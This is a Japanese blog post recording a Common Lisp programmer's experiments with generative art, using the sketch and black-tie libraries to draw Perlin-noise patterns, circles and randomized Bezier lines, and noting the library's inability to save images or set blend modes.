この記事は、ジェネラティブアートと呼ばれる、なんかコンピュータで生成したっぽいアーティスティックでカッコイイ画像を生成するために悪戦苦闘した、一人のプログラマの記録である。

ジェネラティブアートとは

ジェネラティブ(generative, 生成的)なアート(art, 美術作品)である。Wikipediaの当該項目から引くと、以下のようである:

コンピュータソフトウェアのアルゴリズムや数学的/機械的/無作為的自律過程によってアルゴリズム的に生成・合成・構築される芸術作品を指す。

ふむん。

さらに以下のような特徴を持っているようだ:

コンピュータの計算の自由度と計算速度を活かし、自然科学で得られた理論を実行することで、人工と自然の中間のような、統一感を持った有機的な表現を行わせる作品が多い。

わからぬ。これだけではどんなものかわからぬので、Googleの画像検索してみると、どうやらこのようなアートであるらしい:

f:id:t-sin:20171207210402p:plain

要するに、イカしたアートということだ。これは、やってみたい。

然らばやるべし。

ところで、筆者はLISPerである。このようなアートはProcessingでやるのが常套らしいが、Javaふう(というかALGOLふう)の言語とかやっていられなくて挫折した。LISPでやりたい。だから、LISPでジェネラティブなアートをキめてカッ飛ぼうという所存で臨む。

そういう記事である。

Common Lispのジェネラティブアートライブラリ: sketch

ProcessingのLispラッパーといえば、ClojureのQuilがある。Processing自体はJavaで実装されており、そのため同じJVMで動く言語であるClojureは、その機能をフルに利用できるというわけである。

ところで、筆者はCommon Lisp使いである。Clojureが嫌いというわけではない。手慣れた環境であるところのCommon Lispで書けると幸いであり、とてもハッピーであり、脳汁ドバドバなのである。と、いうことで、我が愛するCommon Lispで、Processingっぽい、Quilっぽいことをやってみるのである。

これは意地だ。ただの意地だ。

意地になってそのようなライブラリを探すと、それが案外見つかるもので、正直筆者もビビった。それがvydd氏によるsketchである。READMEはこう書かれてあり:

Sketch is a Common Lisp environment for the creation of electronic art, visual design, game prototyping, game making, computer graphics, exploration of human-computer interaction and more. It is inspired by Processing Language and shares some of the API.

求めていたものまさにこれ感が半端ではない。ぜひこいつを使わせていただこうと思う。

Sketchの導入

以降ではCommon Lispについての基本的な知識はあるものとする。ない読者については、手前味噌ながらこちらの記事「いまから始めるCommon Lisp」を読んでまずCommon Lispに入門してきてほしい。いい言語だよ。

Sketchの導入方法は以下である。また、ジェネラティブアートには欠かせない、パーリンノイズ(後述)のライブラリも併せて導入しておく。

CL-USER> (ql:quickload '(:sketch :black-tie))

Sketchのいろは

Sketchはdefsketchマクロでスケッチを定義する。そのスケッチの定義時にクラスが生成されるので、そのインスタンスを生成することで、描画プロセスがスタートする。とりあえず四角をいっこ表示するスケッチは以下のコードになる:

CL-USER> (sketch:defsketch first-sketch
             ((sketch:title "first your sketch")
              (sketch:width 600)
              (sketch:height 400))
           (sketch:rect 100 100 200 200))

このdefsketchのbody部分が、毎フレーム毎に呼ばれる描画関数となっている。このbodyを何度呼んでも結果が同じであれば同じ画像が表示され、乱数等の影響によりbodyを呼ぶ毎に数値が変わるとアニメーションになる、という感じである。

ちなみにこのコード、SBCLのREPLに突っ込むとたくさん警告が出るが、無視してほしい。titleとかwidthとかheightとかの未使用について怒られるのだ。ちゃんと(declare (ignorable ...))してほしいものである。

こいつを実際に表示するには、以下のようにする:

CL-USER> (make-instance 'first-sketch)

すると、こういうウィンドウが表示される。

f:id:t-sin:20171207210437p:plain

なにをやっているかは、コードを見てだいたい察せることと思う。(x, y)座標が(100, 100)を始点として、幅と高さが200の四角を描いているだけである。

パーリンノイズを可視化する

ジェネラティブアートでは、人工的な部分と自然な部分の中間を狙うものであるらしい。そこで、ここではランダムなんだけど自然な感じを表現するための、パーリンノイズを可視化してみようと思う。

まず、ただの乱数を点の輝度としたものを見てほしい:

CL-USER> (flet ((noise (x y)
                  (random 1.0)))
           (sketch:defsketch first-sketch
               ((sketch:title "first your sketch")
                (sketch:width 300)
                (sketch:height 300))
             (dotimes (x 300)
               (dotimes (y 300)
                 (sketch:with-pen (sketch:make-pen :fill nil
                                                   :stroke (sketch:hsb 0 0 (noise x y)))
                   (sketch:point x y))))))

f:id:t-sin:20171207210450p:plain

なんというか、砂嵐。ランダムすぎてガチのノイズであって、カオス以外の何者でもない。つらい。

一方で、ケン・パーリンが開発し伝説のディズニー映画『TRON』で使用したというこのノイズ関数は、だいぶ自然である、らしい。どんなノイズなのかを可視化すると、こんな感じ:

CL-USER> (flet ((noise (x y)
                  (normalize (black-tie:perlin-noise (* x 0.1) (* y 0.1) 0) -1 1)))
           (sketch:defsketch first-sketch
               ((sketch:title "first your sketch")
                (sketch:width 300)
                (sketch:height 300))
             (dotimes (x 300)
               (dotimes (y 300)
                 (sketch:with-pen (sketch:make-pen :fill nil
                                                   :stroke (sketch:hsb 0 0 (noise x y)))
                   (sketch:point x y))))))

f:id:t-sin:20171207210501p:plain

まだ自然っぽく見えないけど、ランダムだけどなだらかであるので、これをテクスチャとかに利用したりすると、自然なものができあがるっぽい。

これを使ってさっそくジェネラティブアートしてみる。簡単には、このノイズを拡大して、円の半径として可視化してみると、それっぽいことがわかった:

CL-USER> (sketch:defsketch mysketch
             ((sketch:title "perlin circle")
              (sketch:width 600)
              (sketch:height 400))
           (sketch:with-pen (sketch:make-pen :fill (sketch:rgb 0 0.1 0.1))
             (sketch:rect 0 0 600 400))
           (let ((interval 17)
                 (noise-factor 0.2))
             (dotimes (x (ceiling (/ 600 interval)))
               (dotimes (y (ceiling (/ 400 interval)))
                 (sketch:with-pen (sketch:make-pen :fill nil :stroke (sketch:rgb 0.2 0.6 0.9))
                   (sketch:circle (* x interval) (* y interval)
                           (+ (/ interval 4)
                              (* 10 (black-tie:perlin-noise (* x noise-factor) (* y noise-factor) 0)))))))))

f:id:t-sin:20171207210513p:plain

なんかシャレオツっぽい。アニメーション(円の半径が変わるとか)しておいてスクリーンセーバーにすると、なんかよさげな気がする。そうするのは読者への課題とする。

もっとジェネラティブっぽさを求めて

もっとノイズを使うといいって本に書いてあった([普及版]ジェネラティブ・アート―Processingによる実践ガイド調べ)ので、もっとランダムやノイズを取り込んでいこうと思う。

たとえば線を引く行為にランダムやノイズを導入して、さらにベジエ曲線にしてみるというのはどうだろう。始点と終点が与えられたとき、その間に制御点を設け、それらをランダマイズして描画するのだ。どうせなら、それを複数回してみるとそれっぽいのでは。

CL-USER> (defun yvalue (sx sy ex ey x)
           (let ((delta (/ (- ey sy) (- ex sx)))
                 (y0 (/ (- (* sx ey) (* sy ex)) (- sx ex))))
             (+ (* x delta) y0)))

CL-USER> (defun make-control-points (sx sy ex ey)
           (let* ((xlis (let (nums)
                    (dotimes (n 2)
                      (setf nums (cons (- ex sx) nums)))
                      (append (list sx)
                         (sort nums #'<)
                         (list ex))))
                  (ylis (loop
                          :for x :in xlis
                          :collect (+ (yvalue sx sy ex ey x) (- (random 150) 75)))))
             (loop
               :for x :in xlis
               :for y :in ylis
               :nconc (list x y))))

CL-USER> (let* ((+width+ 600)
                (+height+ 400)
                (sx (* +width+ 0))
                (sy (* +height+ 0.7))
                (ex (* +width+ 1.2))
                (ey (* +height+ 0.4))
                (rs (make-random-state)))
           (sketch:defsketch mysketch
               ((sketch:title "flowline")
                (sketch:width +width+)
                (sketch:height +height+)
                (sketch:copy-pixels t))
             (sketch:with-pen (sketch:make-pen :fill (sketch:hsb 0.6 0.9 0.15))
               (sketch:rect 0 0 +width+ +height+))
             (sketch:with-pen (sketch:make-pen :fill nil :stroke (sketch:hsb 0.374 0.4 0.8 0.04))
               (let ((*random-state* (make-random-state rs)))
                 (loop
                    :for n :from 0 :upto 1000
                    :do (apply #'sketch:bezier (make-control-points sx sy ex ey)))))))

f:id:t-sin:20171207210524p:plain

納豆の糸みたいで、それっぽい雰囲気がある。線の数を1000本にして、それぞれのアルファ値を0.15と少なめにしたため、ちょっとランダマイズしただけの線の集合にジェネラティブアートっぽい雰囲気が出ている。どうも本を見るに、ジェネラティブアートとは、多数のオブジェクトの相互作用っぽさがあれば、それっぽくなるものであるらしい。

Sketchの問題点

しかしながら、ここいらですでになんか問題を感じつつあるのである。

生成した画像を保存できない

ここまででわかる通り、sketchの生成する画像を保存するのには、OSのスクリーンショット機能を利用している。ほかに方法が用意されていないからだ。なので、例えば4000×4000の画像を生成したとして、それを保存するには4000x4000以上の解像度を持つディスプレイがなければならない。

一方でProcessingには画像を保存する関数があるので、そのような問題はない。

色の合成方法を指定できない

色の合成モードには色々なものがあるが、そのうちアルファブレンディングのみをsketchでは利用することができる。たとえば、発光した感じを表現するのにしばしば用いられる加算合成を利用することができない。

一方でProcessingには合成モードを指定する機能があるので、そのような点で困ることはない。

おわりに

この記事では、Common Lispでもジェネラティブアートをさくっと作ることができることを示した。

Common Lispでもsketchというライブラリを使えば、点や線を描画したり、それらにインタラクションしたりするプログラムを書くことができる。ただ、生成画像の保存ができないことや色のブレンドモードを指定できないことなど、問題もある

これらの機能が欲しいとなったときは、ClojureのQuilであるなり本家Processingであるなりを利用したほうがよいように思えた。あるいは、自分でProcessingライクなライブラリを実装するとか……。